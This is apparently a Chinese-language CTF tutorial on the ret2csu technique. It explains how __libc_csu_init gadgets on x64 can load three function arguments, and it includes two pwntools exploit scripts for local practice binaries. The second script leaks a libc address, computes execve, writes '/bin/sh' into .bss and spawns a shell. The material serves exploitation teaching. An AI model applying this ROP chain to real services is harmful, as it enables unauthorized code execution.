当在x64环境下函数的参数传递凑不齐类似“pop rdi;ret”/“pop rsi;ret”/“pop rdx;ret”等3个传参的gadgets时,就可以考虑使用_libc_csu_init函数的通用gatgets。
x64 下的 __libc_csu_init 这个函数是用来对 libc 进行初始化操作的,而一般的程序用 libc 函数,所以这个函数一定会存在。
(不同版本的这个函数有一定的区别)
简单来说就是利用libc_csu_init中的两段代码片段来实现3个参数的传递(间接性的传递参数)
gadgets
根据环境的不同 r13\r14\r15的顺序也有可能不同
.text:000000000040075A pop rbx #需置为0,为配合第二段代码的call指令寻址
.text:000000000040075B pop rbp #需置为1
.text:000000000040075C pop r12 #需置为要调用的函数地址,注意是got地址而不是plt地址,因为plt表中存的是指令,也就无法进行call
.text:000000000040075E pop r13 #write函数的第一个参数
.text:0000000000400760 pop r14 #write函数的第二个参数
.text:0000000000400762 pop r15 #write函数的第三个参数
.text:0000000000400764 retn
gadgets
.text:0000000000400740 mov rdx, r13
.text:0000000000400743 mov rsi, r14
.text:0000000000400746 mov edi, r15d
.text:0000000000400749 call qword ptr [r12+rbx*8]#想要调用r12的地址就需要将rbx置为0,即0*8 才不会产生偏移量
add rbx, 1 #此时,rbx会加1,然后和rbp对比
cmp rbp, rbx #payload中只需要将rbp置为1,比较结果为非零值,便不会发生跳转,使程序继续执行到ret的位置
jnz short loc_5555555546F0
这两段代码运行后,会将栈顶指针移动56字节
所以一般要在后面加上56个字节的数据才可以连接到到ret位置进行跳转
当在x64程序中找不到rdx、rsi、edi时,再使用此方法
确定gadget1、gadget2的地址及顺序
构造初步ret2csu payload函数
通过IDA得出,只要可以运行函数就算是完成了
checksec看到程序是64位的,并且在程序中找不到rdx、rsi、edi时
利用_libc_csu_init函数中的两个代码片段来实现这三个参数的传递
确定gadget1、gadget2的地址
由于程序中vul函数并未执行过,而call函数的用法是跳转到某地址内所保存的地址,但此时的vul地址内并没有真实地址,所以这里要考虑绕过call这个调用,直接通过retn跳转至vul处(真实地址)
这里通过init_array_start函数的指针来跳过call 函数是ELF程序的一个初始化函数,运行它不会对栈空间造成影响,可以说是用于跳过call指令的最佳选择
构造payload进行溢出,返回结果直接到vul函数的上
#-*- coding:utf-8
from pwn import *
sh = process("./easy_csu")
elf = ELF("easy_csu")
context.log_level = "debug"
offset = 40
gadget1 = 0x00000000004011FE
gadget2 = 0x00000000004011E8
init_array = elf.symbols['__init_array_start']
payload = offset*'a'
payload += p64(gadget1)
payload += "b"*8
payload += p64(0)
payload += p64(1)
payload += p64(init_array)
payload += p64(3) + p64(3) + p64(3)
payload += p64(gadget2)
payload += 'c'*0x38
payload += p64(elf.symbols["vul"])
sh.sendline(payload)
sh.interactive()
确定csu函数中r13、r14、r15的顺序
参数 正序即可
利用csu_gadgets泄露write函数的真实地址,并返回至主函数
利用wirte函数的真实地址来计算system函数的地址(或execve函数)
write_addr = u64(sh.recv(8))
base_addr = write_addr - libc.symbols['write']
execve_addr = base_addr+ libc.symbols['execve']
再次利用csu_gadgets将execve函数的地址及‘/bin/sh’写入到程序bss段
csu(read_addr,0,bss_addr,16,main_addr)
再次利用csu_gadgets执行bss段内容
即(execve函数地址+‘/bin/sh’) csu(bss_base,bss_base + 8,0,0,main_addr)
# #coding:utf-8
from pwn import *
sh = process("./level5")
elf = ELF("./level5")
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
gadget1 = 0x00000000004011DE
gadget2 = 0x00000000004011C8
write_got = elf.got['write']
main_addr = elf.symbols['main']
print "write_got:"+ hex(write_got)
print "main_Addr:"+ hex(main_addr)
def csu(r12,r13,r14,r15,ret_addr):
payload = "a"*136
payload += p64(gadget1)
payload += 'b'*8
payload += p64(0)
payload += p64(1)
payload += p64(r12)
payload += p64(r13)#参数1
payload += p64(r14)#参数2
payload += p64(r15)#参数3
payload += p64(gadget2)
payload += 'c' * 0x38
payload += p64(ret_addr)
sh.sendline(payload)
###第一次溢出,泄露write函数的地址
sh.recvuntil("Hello, World\n")
csu(write_got,1,write_got,8,main_addr)
#利用write函数(因为gadget2中的代码为call,所以必须为write函数的got地址)
#来读取write的got表内容,向后读取8个字节,然后返回至main住花鸟属
write_addr = u64(sh.recv(8))
#接收数据,并解包
print hex(write_addr)
offset_addr = write_addr-libc.symbols['write']
print hex(offset_addr)#偏移地址
execve_addr = offset_addr + libc.symbols['execve']
print hex(execve_addr)
####第二次溢出,利用read函数写入execve()+/bin/sh
read_addr = elf.got['read']
bss_addr = elf.bss()
csu(read_addr,0,bss_addr,16,main_addr)
#读取用户输入的数据到指定的bss地址,写入16个字节
sh.recvuntil("Hello, World\n")
#gdb.attach(sh)
sh.send(p64(execve_addr)+'/bin/sh\x00')
#发送execve的地址加上/bin/sh到bss段
print "bss_addr:",hex(bss_addr)
###第三次溢出,调用bss地址内的代码
sh.recvuntil("Hello, World\n")
csu(bss_addr,bss_addr+8,0,0,main_addr)
#也就是利用gadget2中的call 来获取权限
sh.interactive()